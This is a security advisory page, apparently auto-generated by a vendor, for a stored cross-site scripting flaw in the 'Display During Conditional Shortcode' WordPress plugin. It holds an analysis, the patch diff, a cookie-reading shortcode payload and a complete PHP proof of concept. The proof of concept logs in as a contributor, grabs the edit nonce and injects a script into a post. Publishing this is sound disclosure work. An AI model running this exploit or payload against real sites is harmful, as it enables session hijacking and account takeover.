Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-6460: Display During Conditional Shortcode <= 1.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via message Parameter (display-during-conditional-shortcode)

CVE ID CVE-2025-6460
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.2
Patched Version 1.3
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-6460:
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Display During Conditional Shortcode WordPress plugin. The vulnerability affects all plugin versions up to and including 1.2. Attackers with Contributor-level access or higher can inject arbitrary JavaScript into posts or pages via the plugin’s shortcode. The injected scripts execute whenever a user views the compromised content.

The root cause is insufficient input sanitization and output escaping for the ‘message’ parameter in the `stp_display_during_shortcode` function. In the vulnerable version 1.2, the function at line 27 receives shortcode attributes via `shortcode_atts`. The function directly uses the `$message` variable extracted from the attributes without sanitization. The function returns the unsanitized message content via `do_shortcode($message)` at line 69 when the conditional display logic is false. This allows raw HTML and JavaScript in the ‘message’ parameter to be output directly to the page.

Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post or page containing the plugin’s shortcode. They inject a malicious payload within the ‘message’ attribute. For example: `[display_during end_day_time=”June 27, 2018 10:00 am” message=”alert(document.cookie)”]CONTENT[/display_during]`. When the page’s conditional logic evaluates to false, the plugin outputs the malicious message payload, executing the embedded JavaScript in visitors’ browsers.

The patch in version 1.3 introduces proper output escaping. The code replaces the `extract()` function with explicit variable assignment. Crucially, line 56 adds `$message = wp_kses_post( $parsed_atts[‘message’] );`. This sanitizes the message parameter using WordPress’s `wp_kses_post` function, which strips unsafe HTML and script tags. The patch also wraps both return statements at lines 91 and 93 with `wp_kses_post( do_shortcode( … ) )`, ensuring safe output regardless of which branch executes.

Successful exploitation allows attackers to perform actions within the context of an authenticated user’s session. This can lead to session hijacking, account takeover, or administrative actions if an administrator views the compromised page. Attackers can deface sites, redirect users, or steal sensitive information. The stored nature means the payload executes for every visitor to the infected page until removal.

Differential between vulnerable and patched code

Code Diff
--- a/display-during-conditional-shortcode/display-during-conditional-shortcode.php
+++ b/display-during-conditional-shortcode/display-during-conditional-shortcode.php
@@ -1,25 +1,31 @@
 <?php
-/*
-Plugin Name: Display During Conditional Shortcode
-Plugin URI: https://sharethepractice.org/plugins/display-during-conditional-shortcode/
-Description: Display content conditionally using shortcodes.  To hide content after a certain date and time, in this example June 27, 2018 at 10:00 am use the following format: [display_during end_day_time="June 27, 2018 10:00 am" message="Sorry, this content no longer available."]CONTENT_TO_DISPLAY[/display_during].  To show content during an interval, for example from Sunday at 8:00 am to Monday at 8:00 pm, use the following format: [display_during start_day_time="Sun 8:00 am" end_day_time="Mon 8:00 pm" timezone_location="America/Denver" message="Sorry, this content is not currently available."]CONTENT_TO_DISPLAY[/display_during].  This example also demonstrates the ability to specify a timezone to use if the one set by the blog isn't correct.  If you don't want to display any message if the content is not to be shown, omit the "message" attribute and nothing will be shown at all.
-Donate URI: http://bit.ly/display_during_plugin_donation
-Author: Gabriel Serafini (ShareThePractice.org)
-Author URI: http://sharethepractice.org/
-Version: 1.2
-
-	This program is free software; you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation; either version 2 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-*/
+/**
+ * Plugin Name: Display During Conditional Shortcode
+ * Plugin URI: https://sharethepractice.org/plugins/display-during-conditional-shortcode/
+ * Description: Display content conditionally using shortcodes. To hide content after a certain date and time, in this example June 27, 2018 at 10:00 am use the following format: [display_during end_day_time="June 27, 2018 10:00 am" message="Sorry, this content no longer available."]CONTENT_TO_DISPLAY[/display_during]. To show content during an interval, for example from Sunday at 8:00 am to Monday at 8:00 pm, use the following format: [display_during start_day_time="Sun 8:00 am" end_day_time="Mon 8:00 pm" timezone_location="America/Denver" message="Sorry, this content is not currently available."]CONTENT_TO_DISPLAY[/display_during]. This example also demonstrates the ability to specify a timezone to use if the one set by the blog isn't correct. If you don't want to display any message if the content is not to be shown, omit the "message" attribute and nothing will be shown at all.
+ * Donate URI: https://sharethepractice.org/plugins/display-during-conditional-shortcode/
+ * Author: Gabriel Serafini (ShareThePractice.org)
+ * Author URI: http://sharethepractice.org/
+ * Version: 1.3
+ * License: GPLv2 or later
+ * License URI: https://www.gnu.org/licenses/gpl-2.0.html
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * @package Display_During_Conditional_Shortcode
+ */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}

 /**
  * Shortcode functionality
@@ -27,60 +33,70 @@
  * @param mixed $atts Optional. Attributes to use in shortcode
  * @return $content if not expired or valid interval
  */
-function stp_display_during_shortcode($atts = array(), $content = '') {
+function stp_display_during_shortcode( $atts = array(), $content = '' ) {

-    $original_default_timezone = date_default_timezone_get();
+	// Try to get built-in default timezone for site.
+	$timezone_string = get_option( 'timezone_string' );

-	// Try to get built-in default timezone for site
-	$timezone_string = get_option('timezone_string');
-
-	if ($timezone_string == "") {
+	if ( '' === $timezone_string ) {
 		// We <3 CA
 		$timezone_string = 'America/Los_Angeles';
 	}

-	extract(shortcode_atts(
+	$parsed_atts = shortcode_atts(
 		array(
-			'start_day_time' => 'now',
-			'end_day_time' => '',
+			'start_day_time'    => 'now',
+			'end_day_time'      => '',
 			'timezone_location' => $timezone_string,
-			'message' => '',
+			'message'           => '',
 		),
 		$atts
-	));
-
+	);

-	if ($end_day_time == "") return;
+	$start_day_time    = sanitize_text_field( $parsed_atts['start_day_time'] );
+	$end_day_time      = sanitize_text_field( $parsed_atts['end_day_time'] );
+	$timezone_location = sanitize_text_field( $parsed_atts['timezone_location'] );
+	$message           = wp_kses_post( $parsed_atts['message'] );

-    // Set timezone to requested one for this script if it's different from the system timezone
-    if ($original_default_timezone != $timezone_string) {
-        date_default_timezone_set($timezone_location);
-    }
-
-	if ($start_day_time != 'now' && strtotime($start_day_time) > strtotime($end_day_time)) {
-		$start_day_time = "last $start_day_time";
+	if ( '' === $end_day_time ) {
+		return;
 	}
-
-	$now_timestamp = strtotime("now");
-	$start_timestamp = strtotime($start_day_time);
-	$end_timestamp =  strtotime($end_day_time);

-    // Set timezone back to original one
-    if ($original_default_timezone != $timezone_string) {
-        date_default_timezone_set($original_default_timezone);
-    }
+	// Validate timezone before use - fall back to site default if invalid.
+	if ( ! in_array( $timezone_location, timezone_identifiers_list(), true ) ) {
+		$timezone_location = 'America/Los_Angeles';
+	}

+	// Create a DateTimeZone for the requested timezone.
+	$tz = new DateTimeZone( $timezone_location );

-	if ($now_timestamp >= $start_timestamp && $now_timestamp < $end_timestamp) {
-		return do_shortcode($content);
+	try {
+		$now   = new DateTime( 'now', $tz );
+		$start = new DateTime( $start_day_time, $tz );
+		$end   = new DateTime( $end_day_time, $tz );
+	} catch ( Exception $e ) {
+		// Invalid date/time string in shortcode attributes - fail silently.
+		return wp_kses_post( do_shortcode( $message ) );
 	}
-	else {
-		return do_shortcode($message);
+
+	if ( 'now' !== $start_day_time && $start > $end ) {
+		try {
+			$start = new DateTime( "last $start_day_time", $tz );
+		} catch ( Exception $e ) {
+			return wp_kses_post( do_shortcode( $message ) );
+		}
 	}

+	$now_timestamp   = $now->getTimestamp();
+	$start_timestamp = $start->getTimestamp();
+	$end_timestamp   = $end->getTimestamp();
+
+	if ( $now_timestamp >= $start_timestamp && $now_timestamp < $end_timestamp ) {
+		return wp_kses_post( do_shortcode( $content ) );
+	} else {
+		return wp_kses_post( do_shortcode( $message ) );
+	}
 }

 // Register shortcode
-add_shortcode('display_during', 'stp_display_during_shortcode');
-
-?>
 No newline at end of file
+add_shortcode( 'display_during', 'stp_display_during_shortcode' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-6460 - Display During Conditional Shortcode <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via message Parameter
<?php

$target_url = 'http://example.com/wp-login.php';
$username = 'contributor';
$password = 'password';
$post_id = 1; // ID of the post/page to edit

// Payload to inject into the 'message' parameter
$xss_payload = '<script>alert("Atomic Edge XSS Test");</script>';

// Create the malicious shortcode
$shortcode = '[display_during end_day_time="January 1, 2030 12:00 pm" message="' . $xss_payload . '"]Legitimate content here[/display_during]';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => 'http://example.com/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);

// Check if login was successful by looking for dashboard elements
if (strpos($login_response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Get the nonce for editing the post
curl_setopt($ch, CURLOPT_URL, 'http://example.com/wp-admin/post.php?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_POST, 0);
$edit_page = curl_exec($ch);

// Extract the nonce from the edit page (simplified pattern)
preg_match('/name="_wpnonce" value="([^"]+)"/', $edit_page, $nonce_matches);
if (empty($nonce_matches[1])) {
    die('Could not extract nonce.');
}
$nonce = $nonce_matches[1];

// Update the post with the malicious shortcode
curl_setopt($ch, CURLOPT_URL, 'http://example.com/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'post_ID' => $post_id,
    'content' => $shortcode,
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
    'action' => 'editpost',
    'save' => 'Update'
]));
$update_response = curl_exec($ch);

if (strpos($update_response, 'Post updated.') !== false) {
    echo 'Success! Post updated with XSS payload. Visit the post to trigger execution.n';
    echo 'Post URL: http://example.com/?p=' . $post_id . 'n';
} else {
    echo 'Post update may have failed.n';
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School